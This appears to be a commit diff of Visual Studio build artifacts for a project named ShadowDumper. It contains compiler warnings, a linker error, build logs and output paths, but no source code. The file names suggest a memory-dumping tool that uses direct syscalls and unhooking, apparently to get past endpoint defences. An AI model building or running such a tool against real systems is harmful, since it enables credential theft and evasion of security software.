C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2602): message : see previous definition of 'STATUS_REG_NAT_CONSUMPTION'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(8748,1): warning C4005: 'STATUS_HEAP_CORRUPTION': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2603): message : see previous definition of 'STATUS_HEAP_CORRUPTION'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(8976,1): warning C4005: 'STATUS_STACK_BUFFER_OVERRUN': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2604): message : see previous definition of 'STATUS_STACK_BUFFER_OVERRUN'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(9103,1): warning C4005: 'STATUS_INVALID_CRUNTIME_PARAMETER': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2605): message : see previous definition of 'STATUS_INVALID_CRUNTIME_PARAMETER'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(9166,1): warning C4005: 'STATUS_ASSERTION_FAILURE': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2606): message : see previous definition of 'STATUS_ASSERTION_FAILURE'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(10075,1): warning C4005: 'STATUS_ENCLAVE_VIOLATION': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2607): message : see previous definition of 'STATUS_ENCLAVE_VIOLATION'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(10808,1): warning C4005: 'STATUS_INTERRUPTED': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2608): message : see previous definition of 'STATUS_INTERRUPTED'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(10817,1): warning C4005: 'STATUS_THREAD_NOT_RUNNING': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2609): message : see previous definition of 'STATUS_THREAD_NOT_RUNNING'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(11129,1): warning C4005: 'STATUS_ALREADY_REGISTERED': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2610): message : see previous definition of 'STATUS_ALREADY_REGISTERED'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(15048,1): warning C4005: 'STATUS_SXS_EARLY_DEACTIVATION': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2612): message : see previous definition of 'STATUS_SXS_EARLY_DEACTIVATION'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(15057,1): warning C4005: 'STATUS_SXS_INVALID_DEACTIVATION': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2613): message : see previous definition of 'STATUS_SXS_INVALID_DEACTIVATION'
C:\Users\DARKN3T\source\repos\ShadowDumper\ShadowDumper\syscallsMDWD.cpp(27,46): warning C4267: '=': conversion from 'size_t' to 'USHORT', possible loss of data
C:\Users\DARKN3T\source\repos\ShadowDumper\ShadowDumper\syscallsMDWD.cpp(29,42): warning C4312: '<function-style-cast>': conversion from 'DWORD' to 'HANDLE' of greater size
syscallsNative.cpp
C:\Users\DARKN3T\source\repos\ShadowDumper\ShadowDumper\syscallsNative.cpp(590,36): warning C4312: 'type cast': conversion from 'DWORD' to 'HANDLE' of greater size
unhook.cpp
C:\Users\DARKN3T\source\repos\ShadowDumper\ShadowDumper\unhook.h(13,1): warning C4005: 'NtCurrentProcess': macro redefinition
C:\Users\DARKN3T\source\repos\ShadowDumper\ShadowDumper\syscallsNative.h(21): message : see previous definition of 'NtCurrentProcess'
C:\Users\DARKN3T\source\repos\ShadowDumper\ShadowDumper\unhook.cpp(85,80): warning C4244: 'argument': conversion from 'SIZE_T' to 'ULONG', possible loss of data
C:\Users\DARKN3T\source\repos\ShadowDumper\ShadowDumper\unhook.cpp(185,80): warning C4244: 'argument': conversion from 'SIZE_T' to 'ULONG', possible loss of data
Generating Code...
nativeDS.c
main.obj : error LNK2019: unresolved external symbol "bool __cdecl DecryptNativeFile(wchar_t const *,wchar_t const *)" (?DecryptNativeFile@@YA_NPEB_W0@Z) referenced in function "void __cdecl ExecuteTask(int)" (?ExecuteTask@@YAXH@Z)
C:\Users\DARKN3T\source\repos\ShadowDumper\x64\Debug\ShadowDumper.exe : fatal error LNK1120: 1 unresolved externals
Binary file not shown.
@@ -0,0 +1,2 @@
PlatformToolSet=v142:VCToolArchitecture=Native32Bit:VCToolsVersion=14.29.30133:TargetPlatformVersion=10.0.22621.0:
Debug|x64|C:\Users\DARKN3T\source\repos\ShadowDumper\|
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -1,27 +1,30 @@
c:\users\darkn3t\source\repos\shadowdumper\shadowdumper\x64\release\vc142.pdb
c:\users\darkn3t\source\repos\shadowdumper\shadowdumper\x64\release\unhook.obj
c:\users\darkn3t\source\repos\shadowdumper\shadowdumper\x64\release\syscallsnative.obj
c:\users\darkn3t\source\repos\shadowdumper\shadowdumper\x64\release\syscallsmdwd.obj
c:\users\darkn3t\source\repos\shadowdumper\shadowdumper\x64\release\simplemdwd.obj
c:\users\darkn3t\source\repos\shadowdumper\shadowdumper\x64\release\main.obj
c:\users\darkn3t\source\repos\shadowdumper\shadowdumper\x64\release\forkdump.obj
c:\users\darkn3t\source\repos\shadowdumper\shadowdumper\x64\release\callbacksmdwd.obj
c:\users\darkn3t\source\repos\shadowdumper\shadowdumper\x64\release\nativeds.obj
c:\users\darkn3t\source\repos\shadowdumper\x64\release\shadowdumper.exe
c:\users\darkn3t\source\repos\shadowdumper\shadowdumper\x64\release\shadowdumper.ipdb
c:\users\darkn3t\source\repos\shadowdumper\shadowdumper\x64\release\shadowdumper.iobj
c:\users\darkn3t\source\repos\shadowdumper\x64\release\shadowdumper.pdb
c:\users\darkn3t\source\repos\shadowdumper\shadowdumper\x64\release\nativeasm.obj
c:\users\darkn3t\source\repos\shadowdumper\shadowdumper\x64\release\sysmdwd.obj
c:\users\darkn3t\source\repos\shadowdumper\shadowdumper\x64\release\shadowdumper.res
c:\users\darkn3t\source\repos\shadowdumper\shadowdumper\x64\release\shadowdumper.tlog\cl.command.1.tlog
c:\users\darkn3t\source\repos\shadowdumper\shadowdumper\x64\release\shadowdumper.tlog\cl.read.1.tlog
c:\users\darkn3t\source\repos\shadowdumper\shadowdumper\x64\release\shadowdumper.tlog\cl.write.1.tlog
c:\users\darkn3t\source\repos\shadowdumper\shadowdumper\x64\release\shadowdumper.tlog\link.command.1.tlog
c:\users\darkn3t\source\repos\shadowdumper\shadowdumper\x64\release\shadowdumper.tlog\link.read.1.tlog
c:\users\darkn3t\source\repos\shadowdumper\shadowdumper\x64\release\shadowdumper.tlog\link.write.1.tlog
c:\users\darkn3t\source\repos\shadowdumper\shadowdumper\x64\release\shadowdumper.tlog\masm.read.1u.tlog
c:\users\darkn3t\source\repos\shadowdumper\shadowdumper\x64\release\shadowdumper.tlog\masm.write.1u.tlog
c:\users\darkn3t\source\repos\shadowdumper\shadowdumper\x64\release\shadowdumper.tlog\rc.command.1.tlog
c:\users\darkn3t\source\repos\shadowdumper\shadowdumper\x64\release\shadowdumper.tlog\rc.read.1.tlog
c:\users\darkn3t\source\repos\shadowdumper\shadowdumper\x64\release\shadowdumper.tlog\rc.write.1.tlog
c:\users\public\shadowdumper\shadowdumper\shadowdumper\x64\release\vc143.pdb
c:\users\public\shadowdumper\shadowdumper\shadowdumper\x64\release\unhook.obj
c:\users\public\shadowdumper\shadowdumper\shadowdumper\x64\release\syscallsnative.obj
c:\users\public\shadowdumper\shadowdumper\shadowdumper\x64\release\syscallsmdwd.obj
c:\users\public\shadowdumper\shadowdumper\shadowdumper\x64\release\simplemdwd.obj
c:\users\public\shadowdumper\shadowdumper\shadowdumper\x64\release\main.obj
c:\users\public\shadowdumper\shadowdumper\shadowdumper\x64\release\forkdump.obj
c:\users\public\shadowdumper\shadowdumper\shadowdumper\x64\release\decrypt.obj
c:\users\public\shadowdumper\shadowdumper\shadowdumper\x64\release\callbacksmdwd.obj
c:\users\public\shadowdumper\shadowdumper\shadowdumper\x64\release\nativeds.obj
c:\users\public\shadowdumper\shadowdumper\x64\release\shadowdumper.exe
c:\users\public\shadowdumper\shadowdumper\x64\release\shadowdumper.pdb
c:\users\public\shadowdumper\shadowdumper\shadowdumper\x64\release\nativeasm.obj
c:\users\public\shadowdumper\shadowdumper\shadowdumper\x64\release\sysmdwd.obj
c:\users\public\shadowdumper\shadowdumper\shadowdumper\x64\release\shadowdumper.res
c:\users\public\shadowdumper\shadowdumper\shadowdumper\x64\release\shadowdumper.ipdb
c:\users\public\shadowdumper\shadowdumper\shadowdumper\x64\release\shadowdumper.iobj
c:\users\public\shadowdumper\shadowdumper\shadowdumper\x64\release\shadowdumper.tlog\cl.command.1.tlog
c:\users\public\shadowdumper\shadowdumper\shadowdumper\x64\release\shadowdumper.tlog\cl.items.tlog
c:\users\public\shadowdumper\shadowdumper\shadowdumper\x64\release\shadowdumper.tlog\cl.read.1.tlog
c:\users\public\shadowdumper\shadowdumper\shadowdumper\x64\release\shadowdumper.tlog\cl.write.1.tlog
c:\users\public\shadowdumper\shadowdumper\shadowdumper\x64\release\shadowdumper.tlog\link.command.1.tlog
c:\users\public\shadowdumper\shadowdumper\shadowdumper\x64\release\shadowdumper.tlog\link.read.1.tlog
c:\users\public\shadowdumper\shadowdumper\shadowdumper\x64\release\shadowdumper.tlog\link.secondary.1.tlog
c:\users\public\shadowdumper\shadowdumper\shadowdumper\x64\release\shadowdumper.tlog\link.write.1.tlog
c:\users\public\shadowdumper\shadowdumper\shadowdumper\x64\release\shadowdumper.tlog\masm.read.1u.tlog
c:\users\public\shadowdumper\shadowdumper\shadowdumper\x64\release\shadowdumper.tlog\masm.write.1u.tlog
c:\users\public\shadowdumper\shadowdumper\shadowdumper\x64\release\shadowdumper.tlog\rc.command.1.tlog
c:\users\public\shadowdumper\shadowdumper\shadowdumper\x64\release\shadowdumper.tlog\rc.read.1.tlog
c:\users\public\shadowdumper\shadowdumper\shadowdumper\x64\release\shadowdumper.tlog\rc.write.1.tlog
@@ -2,7 +2,7 @@
<Project>
<ProjectOutputs>
<ProjectOutput>
<FullPath>C:\Users\DARKN3T\source\repos\ShadowDumper\x64\Release\ShadowDumper.exe</FullPath>
<FullPath>C:\Users\Public\ShadowDumper\ShadowDumper\x64\Release\ShadowDumper.exe</FullPath>
</ProjectOutput>
</ProjectOutputs>
<ContentFiles />
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,9 @@
C:\Users\Public\ShadowDumper\ShadowDumper\ShadowDumper\callbacksMDWD.cpp;C:\Users\Public\ShadowDumper\ShadowDumper\ShadowDumper\x64\Release\callbacksMDWD.obj
C:\Users\Public\ShadowDumper\ShadowDumper\ShadowDumper\decrypt.cpp;C:\Users\Public\ShadowDumper\ShadowDumper\ShadowDumper\x64\Release\decrypt.obj
C:\Users\Public\ShadowDumper\ShadowDumper\ShadowDumper\forkdump.cpp;C:\Users\Public\ShadowDumper\ShadowDumper\ShadowDumper\x64\Release\forkdump.obj
C:\Users\Public\ShadowDumper\ShadowDumper\ShadowDumper\main.cpp;C:\Users\Public\ShadowDumper\ShadowDumper\ShadowDumper\x64\Release\main.obj
C:\Users\Public\ShadowDumper\ShadowDumper\ShadowDumper\nativeDS.c;C:\Users\Public\ShadowDumper\ShadowDumper\ShadowDumper\x64\Release\nativeDS.obj
C:\Users\Public\ShadowDumper\ShadowDumper\ShadowDumper\simpleMDWD.cpp;C:\Users\Public\ShadowDumper\ShadowDumper\ShadowDumper\x64\Release\simpleMDWD.obj
C:\Users\Public\ShadowDumper\ShadowDumper\ShadowDumper\syscallsMDWD.cpp;C:\Users\Public\ShadowDumper\ShadowDumper\ShadowDumper\x64\Release\syscallsMDWD.obj
C:\Users\Public\ShadowDumper\ShadowDumper\ShadowDumper\syscallsNative.cpp;C:\Users\Public\ShadowDumper\ShadowDumper\ShadowDumper\x64\Release\syscallsNative.obj
C:\Users\Public\ShadowDumper\ShadowDumper\ShadowDumper\unhook.cpp;C:\Users\Public\ShadowDumper\ShadowDumper\ShadowDumper\x64\Release\unhook.obj
@@ -1,2 +1,2 @@
PlatformToolSet=v142:VCToolArchitecture=Native32Bit:VCToolsVersion=14.29.30133:TargetPlatformVersion=10.0.22621.0:
Release|x64|C:\Users\DARKN3T\source\repos\ShadowDumper\|
PlatformToolSet=v143:VCToolArchitecture=Native64Bit:VCToolsVersion=14.42.34433:TargetPlatformVersion=10.0.22621.0:
Release|x64|C:\Users\Public\ShadowDumper\ShadowDumper\|
@@ -0,0 +1,3 @@
^C:\USERS\PUBLIC\SHADOWDUMPER\SHADOWDUMPER\SHADOWDUMPER\X64\RELEASE\CALLBACKSMDWD.OBJ|C:\USERS\PUBLIC\SHADOWDUMPER\SHADOWDUMPER\SHADOWDUMPER\X64\RELEASE\DECRYPT.OBJ|C:\USERS\PUBLIC\SHADOWDUMPER\SHADOWDUMPER\SHADOWDUMPER\X64\RELEASE\FORKDUMP.OBJ|C:\USERS\PUBLIC\SHADOWDUMPER\SHADOWDUMPER\SHADOWDUMPER\X64\RELEASE\MAIN.OBJ|C:\USERS\PUBLIC\SHADOWDUMPER\SHADOWDUMPER\SHADOWDUMPER\X64\RELEASE\NATIVEASM.OBJ|C:\USERS\PUBLIC\SHADOWDUMPER\SHADOWDUMPER\SHADOWDUMPER\X64\RELEASE\NATIVEDS.OBJ|C:\USERS\PUBLIC\SHADOWDUMPER\SHADOWDUMPER\SHADOWDUMPER\X64\RELEASE\SHADOWDUMPER.RES|C:\USERS\PUBLIC\SHADOWDUMPER\SHADOWDUMPER\SHADOWDUMPER\X64\RELEASE\SIMPLEMDWD.OBJ|C:\USERS\PUBLIC\SHADOWDUMPER\SHADOWDUMPER\SHADOWDUMPER\X64\RELEASE\SYSCALLSMDWD.OBJ|C:\USERS\PUBLIC\SHADOWDUMPER\SHADOWDUMPER\SHADOWDUMPER\X64\RELEASE\SYSCALLSNATIVE.OBJ|C:\USERS\PUBLIC\SHADOWDUMPER\SHADOWDUMPER\SHADOWDUMPER\X64\RELEASE\SYSMDWD.OBJ|C:\USERS\PUBLIC\SHADOWDUMPER\SHADOWDUMPER\SHADOWDUMPER\X64\RELEASE\UNHOOK.OBJ
C:\Users\Public\ShadowDumper\ShadowDumper\ShadowDumper\x64\Release\ShadowDumper.IPDB
C:\Users\Public\ShadowDumper\ShadowDumper\ShadowDumper\x64\Release\ShadowDumper.iobj
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.